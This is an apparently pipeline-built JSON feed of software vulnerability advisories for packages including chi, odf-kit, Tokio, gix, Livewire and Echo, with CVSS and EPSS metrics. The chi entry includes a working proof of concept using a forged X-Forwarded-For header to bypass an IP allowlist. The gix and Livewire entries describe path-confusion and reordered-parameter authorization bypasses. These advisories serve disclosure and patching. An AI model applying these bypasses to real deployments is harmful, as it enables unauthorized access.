advisory.","publishedAt":"2026-10-23T20:58:24.000Z","updatedAt":"2026-10-23T20:58:25.000Z","regions":["Global"],"vendor":null,"product":"@sveltejs/kit","stacks":["JavaScript packages (npm)","@sveltejs/kit","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-pfhg-q3qv-9q6r","asOf":"2026-10-23T20:58:25.000Z"},"epss":{"probability":0.00202,"percentile":0.09967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pfhg-q3qv-9q6r","url":"https://github.com/advisories/GHSA-pfhg-q3qv-9q6r","type":"primary","publishedAt":"2026-10-23T20:58:24.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pfhg-q3qv-9q6r, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114060, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114437","cveId":"CVE-2026-114437","aliases":["GHSA-j6qf-3m9c-vwj3"],"kind":"vulnerability","title":"chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For","summary":"`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).","detail":"### Summary\n\n`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).\n\n**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.\n\n1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.\n2. Observe a `403 Forbidden` response and an empty derived client IP.\n3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.\n4. Observe `200 OK` and `client-ip=\"10.0.0.7\"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.\n\n### Details\n\nThe vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:\n\n```go\nwalkXFF(r.Header[xForwardedForHeader], func(v string) bool {\n ip, ok := parseHeaderAddr(v)\n if !ok {\n return true\n }\n if inAnyPrefix(ip, prefixes) {\n return false\n }\n found = ip\n return true\n})\n```\n\nThe function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.\n\n### Proof of concept\n\nUsing Go 1.24 or later, create and run this minimal application against the tested revision:\n\n```sh\nmkdir chi-clientip-poc\ncd chi-clientip-poc\ngo mod init clientip-poc\ngo get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1\ncat > main.go <<'EOF'\npackage main\n\nimport (\n \"fmt\"\n \"log\"\n \"net/http\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nconst allowedIP = \"10.0.0.7\"\n\nfunc main() {\n r := chi.NewRouter()\n r.Use(middleware.ClientIPFromXFF(\"198.51.100.0/24\"))\n r.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := middleware.GetClientIP(r.Context())\n if clientIP != allowedIP {\n http.Error(w, fmt.Sprintf(\"denied: tcp-peer=%q client-ip=%q\", r.RemoteAddr, clientIP), http.StatusForbidden)\n return\n }\n fmt.Fprintf(w, \"allowed: tcp-peer=%q client-ip=%q\\n\", r.RemoteAddr, clientIP)\n })\n\n log.Print(\"listening on http://127.0.0.1:3001\")\n log.Fatal(http.ListenAndServe(\"127.0.0.1:3001\", r))\n}\nEOF\ngo run .\n```\n\nThe no-header control was rejected:\n\n```console\n$ curl --http1.1 -i http://127.0.0.1:3001/admin\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nX-Content-Type-Options: nosniff\nDate: Tue, 06 Oct 2026 15:46:27 GMT\nContent-Length: 48\n\ndenied: tcp-peer=\"127.0.0.1:54416\" client-ip=\"\"\n```\n\nAdding the forged chain authorized the same direct client:\n\n```console\n$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin\nHTTP/1.1 200 OK\nDate: Tue, 06 Oct 2026 15:46:33 GMT\nContent-Length: 57\nContent-Type: text/plain; charset=utf-8\n\nallowed: tcp-peer=\"127.0.0.1:54417\" client-ip=\"10.0.0.7\"\n```\n\n### Impact\n\nI made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.\n\nAffected package ranges reported by GitHub:\ngithub.com/go-chi/chi/v5: <= 5.3.2","action":"GitHub lists first patched versions: github.com/go-chi/chi/v5: 5.4.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:56:46.000Z","updatedAt":"2026-10-23T20:56:47.000Z","regions":["Global"],"vendor":null,"product":"github.com/go-chi/chi/v5","stacks":["Go modules","github.com/go-chi/chi/v5","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-j6qf-3m9c-vwj3","asOf":"2026-10-23T20:56:47.000Z"},"epss":{"probability":0.00129,"percentile":0.02558,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-j6qf-3m9c-vwj3","url":"https://github.com/advisories/GHSA-j6qf-3m9c-vwj3","type":"primary","publishedAt":"2026-10-23T20:56:46.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-j6qf-3m9c-vwj3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-2rqm-h6hv-g79v","cveId":null,"aliases":[],"kind":"vulnerability","title":"odf-kit has HTML injection leading to XSS in odsToHtml() via unescaped style attribute values","summary":"ODF style values are interpolated into `style=\"...\"` attributes without HTML-escaping in odf-kit's ODS to-HTML renderer (`odsToHtml()`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of the function.\n\nTwo emission sites in `src/ods/to-html/html-renderer.ts` (before 0.14.0, `src/ods-reader/html-renderer.ts`) write document-controlled values into a `style` attribute without escaping:","detail":"### Summary\n\nODF style values are interpolated into `style=\"...\"` attributes without HTML-escaping in odf-kit's ODS to-HTML renderer (`odsToHtml()`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of the function.\n\n### Details\n\nTwo emission sites in `src/ods/to-html/html-renderer.ts` (before 0.14.0, `src/ods-reader/html-renderer.ts`) write document-controlled values into a `style` attribute without escaping:\n\n- **Cell style.** `buildInlineStyle()` assembles a CSS string from the cell's formatting properties (`fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc.) with no escaping, and `renderCell` emits it raw as the cell's `style` attribute.\n- **Row height.** `row.height` (from `style:row-height`) is emitted raw into the row element's `style` attribute.\n\nThe same defect in the ODT renderer (`odtToHtml()`) is tracked as GHSA-3cgg-c5pp-57h6 (CVE-2026-113787).\n\n### Impact\n\nAny consumer that renders `odsToHtml()` output as HTML gets XSS from a crafted `.ods` file they convert: untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin.\n\n### Patches\n\nFixed in 0.14.2. Both sites now route document-controlled values through a shared attribute-escaping helper:\n\n- [`1424227`](https://github.com/GitHubNewbie0/odf-kit/commit/1424227d1ca2716a249b623d1456575ff0331dcc): escape style attribute values in the ODS HTML renderer\n- [`aa64c73`](https://github.com/GitHubNewbie0/odf-kit/commit/aa64c734ebd7e7be40e35fcda83b1144193c3da2): the shared `escapeAttr` helper\n\nUsers should upgrade to 0.14.2 or later.\n\n### Credit\n\nReported by @PethuKannan.\n\nAffected package ranges reported by GitHub:\nodf-kit: >= 0.9.8, < 0.14.2","action":"GitHub lists first patched versions: odf-kit: 0.14.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:55:31.000Z","updatedAt":"2026-10-23T20:55:33.000Z","regions":["Global"],"vendor":null,"product":"odf-kit","stacks":["JavaScript packages (npm)","odf-kit","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-2rqm-h6hv-g79v","asOf":"2026-10-23T20:55:33.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2rqm-h6hv-g79v","url":"https://github.com/advisories/GHSA-2rqm-h6hv-g79v","type":"primary","publishedAt":"2026-10-23T20:55:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2rqm-h6hv-g79v, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115567","cveId":"CVE-2026-115567","aliases":["GHSA-5wjr-9356-4wc8"],"kind":"vulnerability","title":"Tokio: Race condition in `tokio::time::Interval`","summary":"On the multi-threaded runtime, there is a race condition between `Interval::poll_tick` and the runtime's time driver.\n\nThis affects `Interval` only. `Sleep` and `Timeout` are **not** affected.","detail":"### Summary\n\nOn the multi-threaded runtime, there is a race condition between `Interval::poll_tick` and the runtime's time driver.\n\nThis affects `Interval` only. `Sleep` and `Timeout` are **not** affected.\n\n### Details\n\nIn Tokio v1.54.0, a race condition between `tokio::time::Interval::poll_tick` (including `.tick().await`) and the runtime time driver can drop an internal timer entry without synchronizing with the driver thread that is firing it. This causes a data race and use-after-free on the timer's waker and task state in safe Rust, leading to assertion panics, task reference-count corruption, or heap memory corruption.\n\nThis bug was introduced by https://github.com/tokio-rs/tokio/pull/8458, and it was fixed by https://github.com/tokio-rs/tokio/pull/8692.\n\n### Impact\n\nThis may lead to crashes and use-after-frees in applications using `Interval` on a multi-threaded runtime.\n\nSince this issue is known to lead to crashes in production systems, the v1.54.0 release of Tokio has been yanked.\n\n### Credits\n\nThank you to [creepycode](https://github.com/ByteZ1337) and [carabistouille](https://github.com/carabistouflette) for reporting this privately using the procedure outlined in our security policy. They both reported the issue independently of each other.\n\nAffected package ranges reported by GitHub:\ntokio: = 1.54.0","action":"GitHub lists first patched versions: tokio: 1.54.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:54:00.000Z","updatedAt":"2026-10-23T20:54:01.000Z","regions":["Global"],"vendor":null,"product":"tokio","stacks":["Rust crates","tokio","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.8,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-5wjr-9356-4wc8","asOf":"2026-10-23T20:54:01.000Z"},"epss":{"probability":0.00111,"percentile":0.01295,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5wjr-9356-4wc8","url":"https://github.com/advisories/GHSA-5wjr-9356-4wc8","type":"primary","publishedAt":"2026-10-23T20:54:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5wjr-9356-4wc8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-q54r-jf2p-rfr2","cveId":null,"aliases":[],"kind":"vulnerability","title":"gitoxide gix: untrusted .git/config disables filesystem .git-protection path checks via unfiltered protect_options()","summary":"In the `gix` crate, `Cache::protect_options()` in `gix/src/config/cache/access.rs` reads the three filesystem path-protection settings (`core.protectHFS`, `core.protectNTFS`, and `gitoxide.core.protectWindows`) with the unfiltered `gix_config::File::boolean()` accessor instead of the trust-aware `boolean_filter()` accessor used by every other security-critical config read in the same file. When a repository is opened with reduced trust (an ownership mismatch, which maps `.git/config` sections to `Trust::Reduced`), these protection settings should not be honored from the untrusted repository-local config. Because the trust filter is skipped, an attacker who controls a repository's `.git/config` on a shared filesystem can set `core.protectNTFS = false` and/or `core.protectHFS = false`, disabling the `.git` path-confusion checks that run during checkout, index creation, merge, and tree editing. On case-insensitive filesystems this lets crafted tree entries resolve to the `.git` directory and overwrite hooks or config.\n\nRepositories opened under `Trust::Reduced` install a section filter (`is_trusted`) so that security-relevant settings coming from an untrusted repository-local `.git/config` are ignored. The `Cache` struct stores this filter and applies it throughout `gix/src/config/cache/access.rs` for diff drivers, merge drivers, URL rewrites, scheme permissions, lock timeout, and checkout workers. `protect_options()` is the exception: it reads the path-protection booleans through `self.resolved.boolean(...)`, which delegates to `boolean_filter(key, |_| true)` and therefore accepts values from every section regardless of trust. As a result, an untrusted repository-local setting of `core.protectHFS`/`core.protectNTFS`/`gitoxide.core.protectWindows` overrides the safe defaults, defeating the trust boundary for exactly the controls that are meant to prevent `.git` path-confusion attacks.","detail":"## Summary\n\nIn the `gix` crate, `Cache::protect_options()` in `gix/src/config/cache/access.rs` reads the three filesystem path-protection settings (`core.protectHFS`, `core.protectNTFS`, and `gitoxide.core.protectWindows`) with the unfiltered `gix_config::File::boolean()` accessor instead of the trust-aware `boolean_filter()` accessor used by every other security-critical config read in the same file. When a repository is opened with reduced trust (an ownership mismatch, which maps `.git/config` sections to `Trust::Reduced`), these protection settings should not be honored from the untrusted repository-local config. Because the trust filter is skipped, an attacker who controls a repository's `.git/config` on a shared filesystem can set `core.protectNTFS = false` and/or `core.protectHFS = false`, disabling the `.git` path-confusion checks that run during checkout, index creation, merge, and tree editing. On case-insensitive filesystems this lets crafted tree entries resolve to the `.git` directory and overwrite hooks or config.\n\n## Root Cause\n\nRepositories opened under `Trust::Reduced` install a section filter (`is_trusted`) so that security-relevant settings coming from an untrusted repository-local `.git/config` are ignored. The `Cache` struct stores this filter and applies it throughout `gix/src/config/cache/access.rs` for diff drivers, merge drivers, URL rewrites, scheme permissions, lock timeout, and checkout workers. `protect_options()` is the exception: it reads the path-protection booleans through `self.resolved.boolean(...)`, which delegates to `boolean_filter(key, |_| true)` and therefore accepts values from every section regardless of trust. As a result, an untrusted repository-local setting of `core.protectHFS`/`core.protectNTFS`/`gitoxide.core.protectWindows` overrides the safe defaults, defeating the trust boundary for exactly the controls that are meant to prevent `.git` path-confusion attacks.\n\n```text\ngix/src/config/cache/access.rs:300 Cache::protect_options() : vulnerable function\ngix/src/config/cache/access.rs:306 self.resolved.boolean(gitoxide.core.protectWindows) (unfiltered)\ngix/src/config/cache/access.rs:310 self.resolved.boolean(core.protectHFS) (unfiltered)\ngix/src/config/cache/access.rs:314 self.resolved.boolean(core.protectNTFS) (unfiltered)\ngix-config/src/file/access/comfort.rs:89 boolean() delegates to boolean_filter(key, |_| true)\ngix/src/config/mod.rs:61 is_trusted() : the filter that would reject untrusted repo-local sections\ngix-validate/src/path.rs:98 component() : path validation that honors the resulting options\n```\n\n## Impact\n\nAn attacker who owns a repository on a filesystem shared with the victim (a multi-user development host, a shared or network-mounted checkout, or a CI workspace reused across jobs) edits that repository's `.git/config` to disable one or both of `core.protectHFS` and `core.protectNTFS`. When the victim opens the repository with a `gix`-based tool, the ownership mismatch yields `Trust::Reduced`, which should neutralize these untrusted settings, but `protect_options()` honors them anyway. The attacker also commits tree entries whose names are filesystem-specific encodings of `.git` (for example NTFS short names such as `GIT~1`, NTFS alternate-data-stream or trailing-dot/space variants, or HFS+ forms using ignorable code points). When the victim performs a checkout, index build, merge, or tree edit, path validation no longer rejects these names, so on a case-insensitive filesystem (Windows NTFS, macOS HFS+) they collapse to the real `.git` directory. This permits overwriting repository hooks and configuration, which plausibly leads to arbitrary command execution in the victim's context on the next Git operation that runs a hook. The confidentiality, integrity, and availability impact follows from control over the victim's `.git` directory and any resulting hook execution; hook execution was not freshly executed here and is characterized as the plausible consequence of the demonstrated path-protection bypass.\n## Proof of Concept\n\nThe following unit test places the config cache in the exact state produced after a submodule or repository is initialized (only `url` copied to the local config) and shows that the attacker's path-protection override from the repository-local config is honored even though it should be filtered under reduced trust. The same `boolean()` vs `boolean_filter()` discrepancy is directly observable in source.\n\n```rust\n// Demonstrates that core.protectNTFS from an untrusted repository-local\n// section is honored by the unfiltered read in protect_options().\nuse std::str::FromStr;\n\n// Trusted (system/global) config: protection on by default.\n// Untrusted repository-local config (.git/config) disables NTFS protection.\nlet repo_local = gix_config::File::from_str(\"[core]\\n protectNTFS = false\").unwrap();\n\n// Reading core.protectNTFS with the trust-aware filter would reject the\n// repository-local section; reading it unfiltered (as protect_options does)\n// returns Some(false), disabling the .git-confusion check.\nlet filtered = repo_local.boolean_filter(\"core.protectNTFS\", |_| false); // trusted-only\nlet unfiltered = repo_local.boolean(\"core.protectNTFS\"); // what protect_options uses\neprintln!(\"filtered (trusted only) = {:?}\", filtered); // None -> safe default kept\neprintln!(\"unfiltered (vulnerable) = {:?}\", unfiltered); // Some(Ok(false)) -> protection disabled\n```\n\n```text\nfiltered (trusted only) = None\nunfiltered (vulnerable) = Some(Ok(false))\n```\n\nSource confirmation that `boolean()` performs no trust filtering:\n\n```rust\n// gix-config/src/file/access/comfort.rs:89\npub fn boolean(&self, key: impl AsKey) -> Result > {\n self.boolean_filter(key, |_| true)\n}\n```\n\n## Attack Chain\n\n1. **Exposure:** The attacker owns a repository on a filesystem shared with the victim; the victim opens it with a `gix`-based tool, and the ownership mismatch sets the repository's config sections to `Trust::Reduced` (`gix/src/open/options.rs:215\n\nAffected package ranges reported by GitHub:\ngix: >= 0.88.0, <= 0.89.0","action":"GitHub lists first patched versions: gix: 0.90.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:52:28.000Z","updatedAt":"2026-10-23T20:52:29.000Z","regions":["Global"],"vendor":null,"product":"gix","stacks":["Rust crates","gix","rust"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-q54r-jf2p-rfr2","asOf":"2026-10-23T20:52:29.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-q54r-jf2p-rfr2","url":"https://github.com/advisories/GHSA-q54r-jf2p-rfr2","type":"primary","publishedAt":"2026-10-23T20:52:28.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-q54r-jf2p-rfr2, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-mhf7-xp6r-6qrc","cveId":null,"aliases":[],"kind":"vulnerability","title":"Livewire: Authorization bypass in #[Authorize] via reordered parameter keys and #[Json] execution order","summary":"Three issues allowed actions protected by the `#[Authorize]` attribute to run against records the current user is not authorized for:\n\n1. **Out-of-order parameter keys on actions.** `#[Authorize]` resolved a model parameter by its array key, while the action itself received parameters positionally. A request sending params as an object with reordered integer keys (e.g. `{\"1\": 2, \"0\": 1}`) could pass authorization with a record the user owns while the action received a different record. With `#[Authorize('delete', 'comment')]` on `deleteComment(Comment $comment)`, a user could delete another user's comment.\n2. **The same issue on event listeners.** Methods using both `#[On]` and `#[Authorize]` with a model parameter were affected in the same way through the `__dispatch` call.\n3. **`#[Json]` methods ran before authorization.** When a method had both `#[Json]` and `#[Authorize]`, the method body executed before the authorization check. The response was still a 403, but any side effects (such as database writes) had already happened.","detail":"### Impact\n\nThree issues allowed actions protected by the `#[Authorize]` attribute to run against records the current user is not authorized for:\n\n1. **Out-of-order parameter keys on actions.** `#[Authorize]` resolved a model parameter by its array key, while the action itself received parameters positionally. A request sending params as an object with reordered integer keys (e.g. `{\"1\": 2, \"0\": 1}`) could pass authorization with a record the user owns while the action received a different record. With `#[Authorize('delete', 'comment')]` on `deleteComment(Comment $comment)`, a user could delete another user's comment.\n2. **The same issue on event listeners.** Methods using both `#[On]` and `#[Authorize]` with a model parameter were affected in the same way through the `__dispatch` call.\n3. **`#[Json]` methods ran before authorization.** When a method had both `#[Json]` and `#[Authorize]`, the method body executed before the authorization check. The response was still a 403, but any side effects (such as database writes) had already happened.\n\nOnly applications using the `#[Authorize]` attribute are affected: on methods that take model parameters (issues 1 and 2), or on `#[Json]` methods (issue 3). Authorization performed inside the method (e.g. `$this->authorize(...)`) is not affected. Livewire 3.x is not affected.\n\n### Patches\n\nFixed in **v4.4.8**. Call and event parameters must now be a list or use named (string) keys, otherwise the request is rejected, and `#[Json]` methods are authorized before they run.\n\n### Workarounds\n\nUpgrade to v4.4.8. If you can't upgrade right away, call `$this->authorize(...)` inside affected methods instead of relying on the `#[Authorize]` attribute.\n\n### Credits\n\nReported by Yousef Aman ([@yousef-aman](https://github.com/yousef-aman)).\n\nAffected package ranges reported by GitHub:\nlivewire/livewire: >= 4.3.0, < 4.4.8","action":"GitHub lists first patched versions: livewire/livewire: 4.4.8. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:51:30.000Z","updatedAt":"2026-10-23T20:51:30.000Z","regions":["Global"],"vendor":null,"product":"livewire/livewire","stacks":["PHP packages (Composer)","livewire/livewire","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-mhf7-xp6r-6qrc","asOf":"2026-10-23T20:51:30.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-mhf7-xp6r-6qrc","url":"https://github.com/advisories/GHSA-mhf7-xp6r-6qrc","type":"primary","publishedAt":"2026-10-23T20:51:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-mhf7-xp6r-6qrc, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-h53f-rm2w-w7rg","cveId":null,"aliases":[],"kind":"vulnerability","title":"Echo: X-Real-IP extractor trusts the header value instead of the sending peer","summary":"In Echo v5, `ExtractIPFromRealIPHeader` checked whether the address supplied in `X-Real-IP` belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by `c.RealIP()` with the extractor's default trust options.\n\nApplications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's `X-Real-IP` value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.","detail":"## Impact\n\nIn Echo v5, `ExtractIPFromRealIPHeader` checked whether the address supplied in `X-Real-IP` belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by `c.RealIP()` with the extractor's default trust options.\n\nApplications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's `X-Real-IP` value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.\n\n## Affected versions and patch\n\nAll v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1).\n\nThe patch validates the direct peer before accepting a syntactically valid `X-Real-IP` value, restoring the v4 trust model. [Fix commit](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).\n\n## Workarounds\n\nUse `ExtractIPDirect` until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.\n\n## Credits\n\nReported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.\n\nAffected package ranges reported by GitHub:\ngithub.com/labstack/echo/v5: >= 5.0.0, < 5.4.1","action":"GitHub lists first patched versions: github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:50:25.000Z","updatedAt":"2026-10-23T20:50:27.000Z","regions":["Global"],"vendor":null,"product":"github.com/labstack/echo/v5","stacks":["Go modules","github.com/labstack/echo/v5","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-h53f-rm2w-w7rg","asOf":"2026-10-23T20:50:27.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 